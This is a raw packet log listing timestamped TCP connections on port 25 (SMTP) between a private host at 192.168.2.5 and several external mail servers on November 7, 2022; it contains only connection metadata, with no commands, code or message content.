Nov 7, 2022 22:24:38.582652092 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582664967 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582731962 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582773924 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582808018 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582848072 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582909107 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582925081 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.582967997 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.583050013 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.583087921 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.583168983 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.583206892 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.583292007 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.588083982 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.623127937 CET	49776	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:38.657241106 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:38.826282978 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:38.828643084 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:38.830553055 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:38.830761909 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:39.807502031 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:39.825602055 CET	49776	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:39.841212034 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:39.848994970 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:39.918730974 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:39.929820061 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:39.930275917 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:39.959175110 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:39.959424973 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:39.963362932 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:39.986385107 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:39.992954016 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:39.993068933 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:39.998903990 CET	25	49776	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:39.998960018 CET	25	49776	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:40.020205021 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.026546955 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.030695915 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.030735970 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.030822992 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.217036963 CET	49776	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:40.217065096 CET	49752	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:24:40.290699959 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:40.290925980 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:40.454166889 CET	49776	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:40.570857048 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.595941067 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:40.596059084 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:40.604322910 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.604356050 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.604381084 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.604409933 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.604434013 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.604454041 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.604473114 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.604490995 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.604516029 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.604542971 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.608287096 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.613734007 CET	49754	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:40.613800049 CET	49772	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:40.627482891 CET	25	49776	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:40.642060995 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642112017 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642147064 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642174959 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642209053 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642244101 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642252922 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642252922 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642280102 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642318964 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642345905 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642353058 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642371893 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642371893 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642388105 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642395020 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642409086 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642425060 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642457962 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642460108 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642482996 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642492056 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642514944 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642518044 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.642535925 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.642569065 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.643093109 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.643125057 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.643150091 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.643177032 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.643183947 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.643210888 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.643210888 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.643213987 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.643237114 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.643245935 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.643276930 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.643296003 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.668270111 CET	49776	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:40.675950050 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.675975084 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.675992012 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676002979 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676045895 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676064014 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676104069 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676122904 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676156998 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676192045 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676211119 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676217079 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676217079 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676240921 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676248074 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676270008 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676275969 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676294088 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676323891 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676361084 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676471949 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676532030 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676544905 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676563978 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676604033 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676632881 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676637888 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676696062 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676727057 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676743031 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676759005 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676786900 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676814079 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676830053 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676846981 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676863909 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.676889896 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676923990 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.676981926 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677000046 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677038908 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677061081 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677064896 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677107096 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677110910 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677155018 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677155972 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677175045 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677191973 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677208900 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677212000 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677220106 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677237988 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677254915 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677257061 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677298069 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677301884 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677344084 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677346945 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677362919 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677387953 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677397013 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677445889 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677457094 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677475929 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677491903 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.677504063 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677520990 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.677551031 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.709733009 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.709775925 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.709808111 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.709837914 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.709868908 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.709875107 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.709898949 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.709930897 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.709955931 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.709959030 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.709990025 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710017920 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710027933 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710046053 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710076094 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710103989 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710133076 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710163116 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710165977 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710191965 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710221052 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710227966 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710249901 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710289001 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710304976 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710319042 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710326910 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710342884 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710350037 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710359097 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710381031 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710398912 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710417986 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710503101 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710556030 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710587025 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710618973 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710643053 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710649967 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710659027 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710681915 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710694075 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710726023 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710762978 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710793018 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710815907 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710822105 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710836887 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710851908 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710890055 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710903883 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710910082 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710935116 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.710956097 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.710973978 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711172104 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711206913 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711226940 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711236000 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711265087 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711267948 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711287975 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711298943 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711314917 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711328030 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711348057 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711357117 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711385012 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711385965 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711409092 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711416006 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711424112 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711447001 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711464882 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711477995 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711503029 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711507082 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711529970 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711535931 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711556911 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711565971 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711595058 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711595058 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711618900 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711627960 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711637020 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711658001 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711674929 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711687088 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711707115 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711719036 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711747885 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711756945 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711779118 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711781025 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711803913 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.711810112 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711838007 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711865902 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711894989 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711922884 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711952925 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.711981058 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712008953 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712090015 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712119102 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712147951 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712179899 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712207079 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712234974 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712263107 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712291956 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712321997 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712349892 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712378025 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712405920 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712433100 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712460995 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712488890 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712517977 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712548018 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.712575912 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.743940115 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.743998051 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.744029999 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.744112968 CET	49774	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:40.744424105 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.744457960 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.744488001 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.744517088 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.745934963 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.745970964 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746026993 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746059895 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746089935 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746330023 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746361017 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746393919 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746423960 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746454954 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746486902 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746515989 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746545076 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746575117 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746603012 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746638060 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746668100 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746768951 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746803999 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746835947 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746865988 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.746920109 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747145891 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747178078 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747205973 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747236013 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747471094 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747499943 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747528076 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747559071 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747586966 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747617960 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747646093 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747678041 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747709036 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747728109 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747853041 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747885942 CET	25	49774	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:40.747968912 CET	25	49774	142.250.147.27	192.168.2.5
